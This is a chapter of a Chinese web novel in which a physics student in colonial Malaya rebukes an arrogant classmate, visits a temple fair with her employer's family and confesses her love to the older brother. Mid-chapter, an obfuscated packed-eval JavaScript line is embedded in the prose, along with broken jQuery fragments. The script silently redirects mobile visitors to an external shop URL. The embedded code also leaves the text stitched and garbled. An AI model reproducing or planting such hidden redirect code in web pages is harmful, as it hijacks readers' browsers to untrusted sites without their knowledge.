文趣网 > 都市小说 > 南洋旧梦 > 18. 依兰香树
    临近放寒假,班上的课变少,学校有时为了串休,一天只安排学生上一节课,今天就是这样。

    叶流苏已经和承欢约好了,送神节这天,她们晚上要一起去逛庙会。

    现在已经是一月底,可马来亚的白天太热了,人们都不愿意白日出门,反而是晚上的时候,凉风习习,天气不冷不热,街上到处都是人,庙会很热闹。

    叶流苏聚精会神地听老师讲课,其实老师讲的内容,她大多数都会,她只是单纯喜欢大学里这种能够安安心心上课的感觉。

    叶流苏大部分时候都在自学,只偶尔遇到不会的知识时,会问一问陈老师或者系主任。

    两位都是留洋归来的博士,温厚敦实,极具长者风范,在很多方面都很有见地。

    下午闷热而潮湿,空气中有淡淡的异木棉花香。

    “一个处于椭圆轨道上的电子,考虑其相对论性质量变化,推导出其轨道进动的频率,并计算出由此产生的光谱线分裂间距。” [1]

    陈景在讲台上奋笔疾书,写下题目。

    “这是我之前看期刊时想到的题,非常有难度,我花了很久才解出来,大家现在都动笔算一算吧!就当拓展一下学术视野。”

    叶流苏看了一眼题目,这道题涉及相对论性氢原子光谱精细结构,她也在期刊上见到过,就像陈老师所说,是一道很有意思的题目,既可以用旧量子论里的相积分条件来解,也可以用薛定谔波动方程和狄拉克的相对论性量子力学来解。[1]

    如果用相机分条件来解,步骤比较繁琐,要计算作用量和角变量,得处理椭圆积分和相对论性质量带来的非线性项。[1]

    但用薛定谔波动方程和狄拉克的相对论性量子力学来解,这道题会变得简单很多,计算量也小多了。[1]

    班级里的同学看着这道难题,一个个抓耳挠腮,不知道该从哪里下手解题。

    许生辉知道陈老师脾气温和,故意半真半假地抱怨道,“老师,这是您在哪儿找来的难题呀?一点儿思路都没有啊!”

    陈老师笑了,手中的半截粉笔头儿精准无误地飞到许生辉的脑袋上,“有抱怨的功夫,不如多看两遍题!”

    一晃半个小时过去了,班上其他同学没有一个能解出这道题的。

    叶流苏不爱在班上出风头,她把这道题解出来之后,抓紧时间,继续读手里的期刊。

    这本期刊是叶流苏从周家藏书室借来的,虽然周先生没说借用的期限,但她总不好借用太久。

    叶流苏已经决定了,今天下午她去周家陪承欢逛庙会,正好可以还书,一举两得!

    “好啦,快一个小时了,咱们班同学有没有能做出这道题的?来个人上台给我演示一下解题过程。”

    陈景的目光扫过台下的众人,可台下的同学一个个像耗子见到了猫,纷纷低下头去。

    陈景大手拍了下讲台,他被气笑了,“我头一次觉得自己这么吓人!平时一个个的,不是皮的很吗?怎么这个时候鸦雀无声了?”

    “许生辉,你给我站起来回答问题!”陈景从粉笔盒里抽了根新的,作势递给许生辉。

    许生辉拿着手指长的粉笔,一脸苦相,“老师,这道题太难了,我不会。”

    “快去写,能写多少就写多少。”陈景不理他。

    许生辉硬着头皮,写了几行,写了擦,擦了又写。

    他在讲台上磨蹭了会儿,实在是半个字都写不出来了,只能向老师求饶,“老师,我真不会了。”

    陈景拍了他的背一下,这回故意用了点力,“回去吧,以后课下多用点功。”

    许生辉嘿嘿笑了两声,逃似的跑走了。

    陈景又叫了几个同学上台,可无一例外,没有人能解出这道题。

    最后,陈景把目光投向了班级里新来的转学生,“Easton,你来上台解一下这道题吧。”

    他记得Easton是哥伦比亚大学的高材生,解出这道题应该不算难。

    Easton是个孤僻的性格,没见他和谁有什么交流,让他上台,没准儿还能顺便帮助帮助这个来自异邦的男学生融入班级集体。

    Easton听到陈景在叫他的名字,脸上没有什么表情,他站起身,走到讲台上,冷静的解完了这道题。

    陈景看着他的解题步骤,不由得面露欣赏,“其他人看到了没有?大家都要向Easton同学学习,都是二十岁的年纪,人家怎么就能解除难题呢?”

    Easton听到他的夸赞,脸上却没有什么欣喜的表情,“I’vebeenresidinghereforafortnightnow,andIfindeverythingutterlydisappointing.Theschoolpremisesaredreadfullyantiquated,thefacultylackanyremarkabledistinction,andthepupilsarescarcelysharp-witted.Itcomesaslittlesurprise,then,thatlessaffluentnationsremaintrailingbehind.”(我来这里半个月了,对这里的一切都很失望。这里的学校破旧,老师也不是什么厉害人物,学生一点都不聪明……我只能说,不发达的国家果然是有原因的。)

    班级里骤然一静,同学们都愤怒极了,最温和的陈景老师也皱起眉来。

    “Easton……”

    蓝眼睛的金发男生眼眸里全是冷漠的光,他并不在乎眼前所谓的老师和同学。

    在他来南洋之前,他就已经是哥伦比亚大学远近闻名的天才。

    他出生优渥,智商超乎常人,性格变格外的孤僻冷漠,他父母担心这样下去,儿子会变成一个没有感情的家伙,于是强硬地将他送到南洋,让他做天主教神父的叔叔管教他。

    他叔叔在南洋布教多年,是一位真正信奉上帝的长者,面对和他留着相同血脉的侄子,他叔叔说,“Evan,Bepatient,mychild.Youshalldiscovermanysoulsandblessingsinthislifeworthyofyourheart’sregard.”[孩子,静下心来,你会发觉,这一生里,仍有诸多值得用心珍视的人和事。]

    出于对叔叔的尊敬和信任,Easton决定留在南洋。

    他的生活太无趣了,平静的没有一丝波澜,很多的时候,他的世界里只有自己。

    如果,如果他能在这里遇到值得他珍视的人或事,那么一切也许都会变得不一样。

    不过,现在看来,这里和美国一样无趣。

    他把手里的粉笔扔进粉笔盒里,转身就想走。

    “Wait”

    女孩的声音清脆冷静,Easton不由自主地停下。

    他认得这个女孩,物理系仅有的女生,让人想不注意都难。

    这个女孩子身材娇小,很安静,总是一个人坐在教室的角落里。

    她现在出声,是想要干什么?

    叶流苏抽了根粉笔,她在Easton的解题步骤上改了几笔,又写了几个新的公式,“这道题用狄拉克的相对论性量子力学来解,比你的算法更快。”

    Easton紧盯着黑板,他的眸子亮了一下,“Howdidyouarriveatthatthought?”(你是怎么想到的?)

    叶流苏没有回答他的问题,她的脸上神色淡淡,“Wheneveryoufeellikecriticizinganyone,justrememberthatallthepeopleinthisworldhaven'thadtheadvantagesthatyou'vehad.”(每逢你想要批评任何人的时候,你就记住,这个世界上并非所有人,都拥有过你得天独厚的那些优越条件。)[2]

    她的话音落下,下课铃声顿起,叶流苏走下讲台,将自己书桌上的书装好,头也不回地走了。

    Eastern看着她离开的背影,垂下眸,不知在想些什么。

    *

    叶流苏到周家的时候已经是傍晚了,天边是连绵不断的火烧云,映着绮梦般的霞色,分外瑰丽。

    周承欢穿了一套粉嫩嫩的公主裙,头上扎了两根羊辫,辫子用五彩的蕾丝绑着,像块洛神花汁染成的娘惹糕。

    她一看到叶流苏,就飞奔着跑向她,“叶老师,你终于来了,我都等你好久了!”

    叶流苏被她撞的一个踉跄,拍拍小孩的背,“不好意思了,承欢,我今天也要上课,没办法请假呀。”

    叶流苏拉着周承欢的小手,一起朝着庄园走去。

    夕阳把庭院里的依兰香树的树影拉得很长,金红色的光照在石砖墙上,镀上一层暖色的轻纱。

    张妈把承欢叫走了,她要给她喷点驱蚊水,小孩子皮肉嫩,被蚊子咬了,容易生病。

    叶流苏一个人朝车子的方向走去,她看见了周承煜。

    他斜倚在车身旁,垂着头,指尖是一根未燃尽的香烟。

    叶流苏来周家半年了,从来没见过周承煜抽烟,今天是第一次。

    周承煜的脸隐没在半明半暗的光晕里,下颌线显得有些锋利,他像是在看地上的落花,又像是在无意识的放空。

    墙沿上的风铃被风吹动,男人无意识地偏过头。

    叶流苏说,“周先生……”

    可她开口了,也不知道该说些什么。

    周承煜掐灭手里的烟,“抱歉,让你闻到烟味了吧?”

    “我平常不抽烟,今天只是……只是在想一些事情。”

    “我知道的。”叶流苏说。

    于是两人无话,幸好马来亚的傍晚并不那乏善可陈,蝉鸣鸟叫,让气氛显得不那么干巴巴的。

    周承欢身上撒了艾草汁,周身都是清新的草木气息,她像一个欢快的小马驹,哒哒哒的跑过来,“走吧走吧,我们出发吧!”

    周承煜坐上了驾驶位,叶流苏有点惊讶,“今天是周先生开车?”

    周承欢笑嘻嘻地打开车门,“对哦,今天只有我们三个人!”

    周承煜从后视镜里看她们,“今天送神节,天气也不热,适合出去走走,我就给老郑他们放了个假。”

    “哥哥,走啦,走啦!”周承欢举着小拳头,欢快地说。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791679|209807||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    周承煜看她们两个人坐好了,一脚油门下去,车子在暮色中疾驰而去。

    *

    庙会上人很多,寺庙前面的空地上搭建起了一个竹棚大戏台,听说入夜了会有粤剧台演出,这是一年一度的酬神大戏,很多人都慕名而来,专门等着看戏。

    周承欢今天格外高兴,她左手拉着哥哥,右手拉着叶流苏,蹦蹦跳跳的,像一只欢快的小蝴蝶。

    “哥哥,我想喝菠萝冰!”她指着不远处的一家甜水摊。

    摊主摆了一口大铁锅,里面是切成块的菠萝,菠萝和冰糖在一起熬煮,直到菠萝煮软后,将整锅的菠萝糖水盛出晾凉。

    周承煜点点周承欢的额头,转身走到甜水摊前,打开钱夹,取出一张纸币,“麻烦给我来两杯菠萝冰。”

    摊主是个动作麻利的女人,她拿了两个陶杯,先在杯底铺上一层厚厚的菠萝糖水,然后才撒上碎冰块和一块新鲜的菠萝肉。

    周承煜把其中一杯菠萝冰递给周承欢,另一杯自然的递给叶流苏。

    “周先生,你不喝吗?”叶流苏接过菠萝冰,看着糖水蜜蜡似的金黄光泽,微微有些晃神。

    “我一会儿走累了,买杯椰青水喝就好,我喝不惯太甜的东西。”周承煜笑了一下,平时有些锐利的五官,在昏黄的光晕下,柔和了很多。

    周承欢看看哥哥,又看看叶流苏,不知想到了什么,捂着小嘴巴偷笑。

    周承煜揉了揉她的小脑袋,“又在想些什么稀奇古怪的东西?”

    周承欢不说话,低头猛吸了一大口菠萝冰,仰头对哥哥道,“好喝!”

    叶流苏低头喝了一小口,冰凉酸甜的饮品入喉,该怎么形容这种感觉呢?

    就像大雨过后,马来亚的彩虹在天空中架出七彩的桥,又像嚼了一百颗亚答籽爆珠,整个世界都因此明亮起来。

    产生这些情绪,似乎并不仅仅因为手里这杯冒着凉气的菠萝冰,更因为眼前的这个人。

    叶流苏被周承欢拽着衣角,漫无目的地走在人群中,周承煜走在外侧,有意无意地护住她们俩。

    周承欢年纪小,很容易被有趣的事情吸引。

    她看到一个小摊上摆满了各种亮晶晶的饰品,顿时眼睛一亮,“哇!好漂亮!”

    周承欢小跑过去,她拿起一条水粉色的琉璃珠串,回头冲着周承煜道,“哥哥,你看!”

    周承煜走到她身边,“喜欢就拿着吧。”

    周承欢又拿了一条紫色的,“甜甜也喜欢这种琉璃珠呢,我也给她拿一条!”

    摊主脸上带笑,琉璃珠子价格比较贵,这么爽快的客人可少见!

    “既然给女儿挑了,怎么不给您太太挑一个?否则的话,她嘴上不说。心里可是会吃味儿的!”

    太太?

    叶流苏愣了一下,才反应过来,她慌忙摆手,“我不是,我不是……”

    周承煜却从摊位上拿了一串菩提子,“那就这串吧。”

    那是一串纯色的白玉菩提,每颗菩提子珠面圆润饱满,清爽干净,散发着莹润的光泽,叫人一看就心生欢喜。

    摊主看不懂面前这三人的关系,她不敢再多说话,老老实实地收钱找零。

    周承欢拿着两串琉璃珠,兴致勃勃地在人群里穿梭,她平时只能去学校,或者在庄园里呆着,很少能接触到外面的世界。

    对她来说,一切都是新鲜的,有趣味的,她简直像一个在花丛里飞来飞去的小蝴蝶。

    这么单纯,才能那样快乐。

    叶流苏走在后面,她一直没有说话,手心里的白玉菩提已经微微汗湿。

    她的脑海里闪过很多画面,雨夜里那把伞、藏书室里带着降真香的毯子、突然多出来的物理专业期刊……

    一桩桩,一件件,都是身侧这个男人带给她的。

    庙会进行到半夜,周承煜先把周承欢送回家,张妈抱着周承欢回小房间睡觉。

    周承煜驱车送叶流苏回家,车子停在了丰水巷外。

    叶流苏却没有立马下车,她看着坐在驾驶位的周承煜,欲言又止。

    看她迟迟没有动作,周承煜也从后视镜看叶流苏,两个人的目光交汇。

    “周先生,我知道,我接下来要说的话很冒昧,但我还是要说,”叶流苏停顿了一下,似乎在缓和自己激动的心绪。

    周承煜的呼吸也放轻了,他下意识想要阻止叶流苏说下去。

    “周承煜……我好像喜欢上你了。”叶流苏看着周承煜的侧脸,再一次重复道,“不,我确信,我喜欢上你了。”

    她的声音在暗夜中,清晰又坚定。

    周承煜过了很久,他看着叶流苏的眼睛,轻声说,“抱歉。”

    叶流苏的声音带了点颤,她呼吸急促了几分,“该道歉的人是我,你一直都对我非常好,是我唐突了,对不起……今天的话,你就当我从来没有说过,真的非常抱歉。”

    叶流苏推开车门,快步走进巷子,周承煜坐在驾驶位上,迟迟没有动,过了很久,他回头看着叶流苏坐过的位子,那里还残留着淡淡的流苏花香。

    注释:[1]专业资料来自百度百科,可能不准确

    [2]这段话出自了不起的盖茨比

    [3]英文是让翻译器翻译的